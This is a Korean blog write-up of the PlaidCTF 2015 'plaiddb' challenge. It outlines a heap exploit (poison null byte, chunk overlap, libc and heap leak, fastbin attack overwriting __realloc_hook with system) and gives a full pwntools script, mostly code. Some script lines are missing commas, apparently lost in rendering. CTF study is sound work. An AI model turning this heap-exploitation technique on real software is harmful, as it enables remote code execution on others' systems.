[PlaidCTF 2015] plaiddb writeup

2019. 7. 11. 21:24


3일간에 걸려 푼 문제다.

익스가 매번 성공하는 것은 아니고 가끔 실패하는데 이유는 모르겠다.


poison null byte 공부하는데 도움이 된 것 같기도 하고 아닌 것같기도...

문제 자체가 조금 어렵다.


일단 익스는 아래와 같이 진행하였다.

1단계

1. chunk들을 잘 조절하여 poison_null_byte를 trigger한다.

2. 위 방법을 통해 db청크하나를 오버랩시키고, db청크의 data_size부분을 top chunk의 size로 오버랩시킨다.

3. 위를 통해서 db청크를 GET을 통해 검색하게되면 0x20000정도의 memory를 write로 뿌려주게 된다.

4. heap과 libc를 leak 한다.


2단계.

1. 0x71정도 사이즈의 chunk를 free하고 청크조작을 통해 fd를 realloc_hook-0x13의 주소로 덮는다.

2. realloc_hook을 system함수주소로 덮는다.

3. GET을 통해서 "/bin/sh\x00\x00 ... \x00"을 통해서 realloc을 트리거한다.

4. 쉘을 획득


처음에는 malloc_hook을 oneshot가젯으로 덮어 malloc 호출로 쉘을 따려고 했으나, 모든 원샷가젯이 작동하지않았다.

아마 rsp+a가 NULL이 아니라서 인것같은데... 뭘 어떻게 해줄수가 없어서 대신 realloc_hook을 덮어 realloc 호출 유도로 system함수 실행을 통해 쉘을 획득하는 방식으로 바꾸었다.


중간에 청크 조작때문에 서로가 서로를 덮는 상황이 발생하는데, 이 때 쓰기 불가능한 영역을 덮게 되어 error가 나는 경우가 있으니, leak한 쓰기 가능한 영역을 적절히 잘덮어써주면 error를 회피할 수 있다. 

또 이게 익스가 매번 되는게 아니라, 가끔 실패하는데 이유는 정확히 모르겠다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#!/usr/bin/env python
from pwn import *
 
conn = process("./datastore.elf")
 
def get(key):
    conn.sendlineafter("command:""GET")
    conn.sendlineafter("key:", key)
 
def put(key, size, data):
    conn.sendlineafter("command:""PUT")
    conn.sendlineafter("key:", key)
    conn.sendlineafter("size:"str(size))
    conn.sendafter("data:", data)
 
def dump():
    conn.sendlineafter("command:""DUMP")
 
def delete(key):
    conn.sendlineafter("command:""DEL")
    conn.sendlineafter("key:", key)
    
def exit():
    conn.sendlineafter("command:""EXIT")
 
 
put("A"0x100"1"*0x100)
delete("th3fl4g")
put("B"0x200"2"*(0x200-0x10)+p64(0x200)+p64(0))
delete("A")
put("C"0x110"3"*0x110)
 
# setting poison_null_byte
delete("B")
put("D"0x50"4"*0x50)
get("A"*0x18)   # off-by-one, poison_null_byte
 
put(""0x80"5"*0x80)   # b1
put("b2"0x40"6"*0x40# overlap chunk
 
delete("")
 
# consolidate
delete("C")
 
 
# remove fastbins and raise the heap address.
put("BBBB"0x8"D"*0x8)
put("CCCC"0x8"D"*0x8)
put("EEEE"0x8"D"*0x8)
 
payload = "A"*0xa0
put("Attack"len(payload), payload)
 
 
get("b2"# b2 chunk size overwrite top chunk size
"""
A  start --------------------------------
                             b_header
b2 start --------------------------------
            key_ptr     |  data_size & top chunksize
            data_ptr    |  
A  end   -------------------------------- top chunksize
                              prev_db
b2 end   --------------------------------
"""
 
"""
$ DUMP
INFO: Dumping all rows.
INFO: Row [Attack], 160 bytes
INFO: Row [BBBB], 8 bytes
INFO: Row [CCCC], 8 bytes
INFO: Row [D], 80 bytes
INFO: Row [EEEE], 8 bytes
INFO: Row [\xb0\x82uUUU], 134481 bytes  << 0x20d51 topchunk size
PROMPT: Enter command:
"""
 
# leak address
conn.recvuntil(" bytes]:")
conn.recvuntil("BBBB")
conn.recv(4)
 
libc_base = u64(conn.recv(8)) - 0x3c4b78
log.info("libc_base : " + hex(libc_base))
 
conn.recvuntil("2"*8)
conn.recv(8)
heap_addr = u64(conn.recv(8)) - 0x3a0
log.info("heap_addr : " + hex(heap_addr))
 
# make fake_chunk b2
fake_chunk  = p64(u16('b2')) + p64(0x41)
fake_chunk += p64(heap_addr + 0x50)
fake_chunk += p64(0x20d71)
fake_chunk += p64(heap_addr + 0x2f0+ p64(0)
fake_chunk += p64(0+ p64(0)
fake_chunk += p64(0+ p64(0x71)
 
get(fake_chunk)
get("A"*0x30)
 
delete("b2")
 
 
# target address
realloc_hook = libc_base + 0x3c4b10 - 0x13 - 0x10
system_addr  = libc_base + 0x45390
 
"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
 
# fastbin link control
payload  = p64(heap_addr+0x20)*8        ## avoid error
payload += p64(0+ p64(0x71)
payload += p64(realloc_hook) + p64(0)
payload += "A"*0x10
put("A"*0x400x70, payload)
 
put("AAAS"0x68, p64(heap_addr)*13)
 
 
payload = "A"*3
payload += p64(libc_base + 0x85e20)     ## avoid error
payload += p64(system_addr)  # realloc_hook
payload += p64(0)            # malloc_hook
payload += p64(heap_addr+0x40)*9
payload += "A"*5
 
put("BBBS"0x68, payload)
get("/bin/sh" + "\x00"*0x20)
 
conn.interactive()
 
cs


'Write-up > Pwnable' 카테고리의 다른 글

[BCTF 2016] bcloud  (0) 2019.07.26
[CODEGATE 2015] yocto (RTDL)  (0) 2019.07.13
[DEFCON 2019 Quals] speedrun  (0) 2019.05.14
[Codegate 2019] aeiou Write-up  (0) 2019.02.09
[Codegate 2019] 20000 ( grep 이용하기)  (0) 2019.01.30

+ Recent posts